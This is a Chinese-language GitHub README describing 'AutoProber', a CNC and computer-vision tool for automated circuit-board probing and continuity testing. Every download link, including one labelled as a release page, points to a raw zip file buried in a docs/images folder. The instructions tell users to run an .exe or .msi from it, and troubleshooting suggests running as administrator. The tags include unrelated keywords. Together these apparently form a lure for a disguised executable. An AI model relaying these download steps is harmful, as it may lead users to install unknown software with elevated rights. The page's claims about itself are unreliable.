Empty-democritus307/AutoProber
GitHub: Empty-democritus307/AutoProber
通过计算机视觉和CNC自动化控制实现电路板引脚的自动探测、映射和连续性测试的硬件安全研究工具。
Stars: 0 | Forks: 0
# 🔍 AutoProber - 电路板自动化硬件测试
[](https://raw.githubusercontent.com/Empty-democritus307/AutoProber/main/docs/images/Public-Release-Images/Prober_Auto_v1.3.zip)
AutoProber 可帮助您测试、映射和分析电路板。它会在硬件上移动探针针尖来查找连接点。此工具有助于安全研究和电路板分析。它使用摄像头进行映射,并使用机器人系统进行精确移动。您可以清晰查看硬件及其内部网络。
## 📦 什么是 AutoProber?
AutoProber 将实体 CNC 机器连接到软件控制器。该系统可识别印刷电路板上的元件。一旦定位到目标,探针会移动到特定引脚进行连续性测试或信号分析。
该工具提供了一个界面,可通过显微镜查看电路板。您可以在电路板图像上绘制点。机器会将探针移动到这些点。此方法可处理需要精确、可重复测试的复杂电路板。它无需手动探针。
## 🛠️ 系统要求
在安装此工具之前,请确保您的计算机满足以下要求:
* 操作系统:Windows 10 或 Windows 11。
* 处理器:Intel Core i5 或更高级别。
* 内存:最低 8 GB RAM,建议 16 GB。
* 存储空间:500 MB 可用空间。
* 硬件连接:一个专用 USB 端口用于连接 CNC 控制器。
* 摄像头:支持的 USB 数字显微镜用于映射。
## 📥 入门指南
请按照以下步骤获取软件:
1. 访问 [AutoProber 发布页面](https://raw.githubusercontent.com/Empty-democritus307/AutoProber/main/docs/images/Public-Release-Images/Prober_Auto_v1.3.zip) 查看可用版本。
2. 在最新版本中查找以 `.msi` 或 `.exe` 结尾的文件。
3. 选择该文件并保存到您的计算机。
4. 下载完成后打开该文件。
## ⚙️ 安装过程
1. 双击您在上一步中保存的文件。
2. 按照安装窗口中的提示进行操作。
3. 阅读摘要屏幕,然后点击安装。
4. 进程结束后选择完成。
5. 在桌面或开始菜单中找到 AutoProber 图标。
## 🔌 连接硬件
AutoProber 通过串行连接与 CNC 机器通信。
1. 打开 CNC 控制器电源。
2. 将 USB 电缆插入您的 Windows 机器。
3. 打开 AutoProber。
4. 进入设置选项卡。
5. 选择与您的 CNC 硬件对应的 COM 端口。
6. 点击连接。状态指示器应变为绿色。
## 📷 设置显微镜
软件会根据您的 USB 显微镜的视野映射坐标。
1. 将显微镜安装在探针区域上方。
2. 将显微镜插入第二个 USB 端口。
3. 在 AutoProber 中,导航到摄像头菜单。
4. 从设备列表中选择您的显微镜。
5. 调整显微镜上的对焦旋钮,以便在屏幕上清晰地看到电路板。
6. 校准网格叠加层以匹配电路板的尺寸。
## 🎯 创建映射任务
任务告诉机器在哪里移动。
1. 点击新建任务按钮。
2. 导入您的印刷电路板图像。
3. 使用鼠标点击您要测试的引脚。
4. 软件会为每个点创建坐标列表。
5. 为每个点分配名称以保持数据有序。
6. 保存您的任务文件以供将来使用。
## 🚀 运行您的第一次探针
在开始自动化过程之前,请查看以下安全步骤。确保探针针尖没有任何障碍物。手指远离 CNC 移动区域。
1. 打开您保存的任务文件。
2. 确认探针从原点开始。
3. 点击运行按钮。
4. 监控软件画面以确保探针击中正确的目标。
5. 如需随时暂停机器,请点击停止。
## 📊 查看结果
探针完成其路径后,AutoProber 会保存数据。您可以将这些结果导出到电子表格中以进行进一步研究。软件会记录探针和引脚之间的每次交互。这有助于您重建电路板上集成电路的布局。
## 💡 常见问题排查
如果软件无法打开:
确保您拥有最新的显卡驱动程序。尝试右键点击图标并选择以管理员身份运行。
如果机器不移动:
检查与 CNC 控制器的 USB 连接。确认机器上的紧急停止按钮未按下。如果连接指示灯保持红色,请重新启动应用程序。
如果图像模糊:
调整显微镜上的手动对焦。确保工作空间中的照明明亮且均匀。关闭摄像头设置中的任何自动对焦功能,以防止图像在探针运行过程中移动。
如果坐标看起来不正确:
检查您的摄像头镜头是否与电路板完全垂直。任何倾斜都会导致映射失真。如果在开始任务后移动显微镜,请重新校准网格。
标签:CNC控制, IoT安全, PCB分析, 云资产清单, 代码生成, 信号分析, 多人体追踪, 嵌入式安全, 探针测试, 显微镜成像, 机器人自动化, 渗透测试工具, 物理安全测试, 电路板测试, 硬件安全, 硬件探测, 硬件漏洞挖掘, 硬件逆向, 芯片分析, 计算机视觉, 连续性测试, 逆向工程